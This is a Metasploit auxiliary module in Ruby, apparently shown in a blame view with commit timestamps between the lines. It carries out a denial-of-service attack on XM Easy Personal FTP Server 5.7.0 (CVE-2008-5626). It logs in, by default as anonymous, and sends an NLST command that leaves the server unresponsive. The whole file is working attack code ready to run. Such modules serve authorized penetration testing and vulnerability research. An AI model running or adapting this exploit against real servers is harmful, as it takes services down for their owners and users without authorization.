2009-04-07 18:26:19 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2009-04-07 18:26:19 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2009-04-07 18:26:19 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::Ftp
|
|
|
|
include Msf::Auxiliary::Dos
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-04-07 18:26:19 +00:00
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2009-04-07 18:26:19 +00:00
|
|
|
'Name' => 'XM Easy Personal FTP Server 5.7.0 NLST DoS',
|
|
|
|
'Description' => %q{
|
|
|
|
You need a valid login to DoS this FTP server, but
|
|
|
|
even anonymous can do it as long as it has permission
|
|
|
|
to call NLST.
|
|
|
|
},
|
|
|
|
'Author' => 'kris katterjohn',
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' => [
|
2010-04-26 18:42:07 +00:00
|
|
|
[ 'CVE', '2008-5626'],
|
|
|
|
[ 'OSVDB', '50837'],
|
2012-06-28 19:27:12 +00:00
|
|
|
[ 'EDB', '8294' ]
|
2009-04-07 18:26:19 +00:00
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Mar 27 2009')
|
|
|
|
)
|
|
|
|
|
|
|
|
# They're required
|
|
|
|
register_options([
|
|
|
|
OptString.new('FTPUSER', [ true, 'Valid FTP username', 'anonymous' ]),
|
|
|
|
OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'anonymous' ])
|
|
|
|
])
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
return unless connect_login
|
|
|
|
|
|
|
|
raw_send("NLST\r\n")
|
|
|
|
|
|
|
|
disconnect
|
|
|
|
|
|
|
|
print_status("OK, server may still be technically listening, but it won't respond")
|
|
|
|
end
|
|
|
|
end
|